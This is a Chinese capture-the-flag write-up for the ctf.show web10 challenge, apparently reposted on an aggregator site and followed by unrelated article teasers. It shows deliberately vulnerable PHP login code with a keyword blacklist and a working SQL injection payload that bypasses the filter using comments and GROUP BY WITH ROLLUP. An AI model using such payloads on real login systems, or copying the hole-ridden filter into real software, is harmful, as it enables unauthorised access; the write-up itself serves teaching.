ctf.show_web10

本题重点:(1)php相关函数 ;(2)会灵活运用 group by 和 with rollup;


<?php
        $flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        } // 把 $regex 替换成空

        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        } // 判断数据库是否连接成功

        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        } // 把 $username 与 $password 过滤
        
        $sql="select * from user where username = '$username'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功<br>";
                            echo $flag;
                        }

                     }
            }
    ?>

group by

不加 group by 时的输出如下:

 

在使用 group by 以后会按照 password 中的值进行排列:

在使用 group by 以后会按照 password 中的值进行排列:

 

with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)

统计group by一个有多少个

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

因为加入with rollup后 password有一行为NULL,我们只要输入空密码使得(NULL==NULL)即可满足$password==$row['password']的限制成功登陆。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/576840.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

比较AI编程工具Copilot、Tabnine、Codeium和CodeWhisperer

主流的几个AI智能编程代码助手包括Github Copilot、Codeium、Tabnine、Replit Ghostwriter和Amazon CodeWhisperer。 你可能已经尝试过其中的一些&#xff0c;也可能还在不断寻找最适合自己或公司使用的编程助手。但是&#xff0c;这些产品都会使用精选代码示例来实现自我宣传…

1. Java概述

文章目录 1.Java语言概述1.1 Java介绍1.1.1 软件开发概述1.1.2 计算机语言1.1.3 Java 简史1.1.4 Java 技术体系平台1.1.5 Java在各领域的应用1.1.6 Java语言特点1.1.7 Java核心机制一-Java虚拟机1.1.8 Java核心机制二-垃圾回收1.1.9 Java开发工具 1.2 Java环境搭建1.2.1 JDK、J…

2024 蓝桥打卡Day25

CCFCSP算法练习 202305-1 重复局面 202305-2 矩阵运算 202303-1 田地丈量 202303-2 垦田计划

flask Python:钩子函数shell_context_processor(上下文处理器)的使用

一、请求上下文和应用上下文 什么是请求上下文和应用上下文&#xff1f;&#xff0c;在这里&#xff0c;了解到了一个词叫上下文处理器&#xff0c;通俗理解就是在一个请求中定义全局变量的。 每次启动Flask shell都需要导入数据库实例和模型&#xff0c;感觉繁琐又重复&…

深入理解 Vue 3.0 中计算属性和方法的使用

引言&#xff1a; 在 Vue 3.0 中&#xff0c;计算属性和方法都是用于处理和操作数据的重要工具。然而&#xff0c;它们之间有一些关键的区别&#xff0c;这些区别可能会对你的应用程序的性能和可维护性产生重大影响。 计算属性与方法的区别&#xff1a; 计算属性是基于它们的…

Java学习11

目录 一.类变量和类方法&#xff1a; 1.类变量定义访问&#xff1a; 2.类变量的使用细节&#xff1a; 3.类方法&#xff1a; 4.静态main方法&#xff08;public static void main(String [] args)&#xff09;&#xff1a; 二.代码块&#xff1a; 1.基本语法&#xff1a;…

Redis桌面客户端

3.4.Redis桌面客户端 安装完成Redis&#xff0c;我们就可以操作Redis&#xff0c;实现数据的CRUD了。这需要用到Redis客户端&#xff0c;包括&#xff1a; 命令行客户端图形化桌面客户端编程客户端 3.4.1.Redis命令行客户端 Redis安装完成后就自带了命令行客户端&#xff1…

2024年,如何实现高效的自动化渗透测试?

随着当前网络安全威胁的不断扩展与升级&#xff0c;开展渗透测试工作已经成为广大企业组织主动识别安全漏洞与潜在风险的关键过程。然而&#xff0c;传统的人工渗透测试模式对测试人员的专业能力和经验水平有很高的要求&#xff0c;企业需要投入较大的时间和资源才能完成。在此…

Webpack常见插件和模式

目录 目录 目录认识 PluginCleanWebpackPluginHtmlWebpackPlugin自定义模版 DefinePlugin的介绍 ( 持续更新 )Mode 配置 认识 Plugin Loader是用于特定的模块类型进行转换&#xff1b; Plugin可以用于执行更加广泛的任务&#xff0c;比如打包优化、资源管理、环境变量注入等 …

云存储比起自建服务器做数据存储的好处是什么?

近年来&#xff0c;国内科技行业开始趋于饱和&#xff0c;越来越多的企业将海外业务作为新的增长点。 但由于国内外政策、市场等因素不同&#xff0c;在出海过程中&#xff0c;安全合规、海外业务保障、应对各地区合规挑战成为企业最普遍的需求之一。 最基本的问题之一是&…

SAP-HCM 个税累计期间分析

从19年离开上一家单位&#xff0c;一直没有深入了解个税计算公式&#xff0c;最近新单位需要上线薪酬核算模块&#xff0c;对19年出的一些政策及SAP的计算规则做一番研究&#xff0c;主要是针对0531新增字段的分析&#xff0c;其实开始一直没明白为什么要推后一个月维护&#x…

Solana 2024 投资新风口:挖掘 DeFi、硬件开发与交易创新

将区块链的技术红利带给所有用户&#xff0c;Solana 自 2017 年诞生以来就致力于赋予开发者、消费者、投资人等各路人士的优越应用体验。在“以太坊杀手”林立的公链竞争阶段&#xff0c;Solana 凭借高性能公链的独特定位&#xff0c;朝着去中心化、安全性、低成本的目标不断精…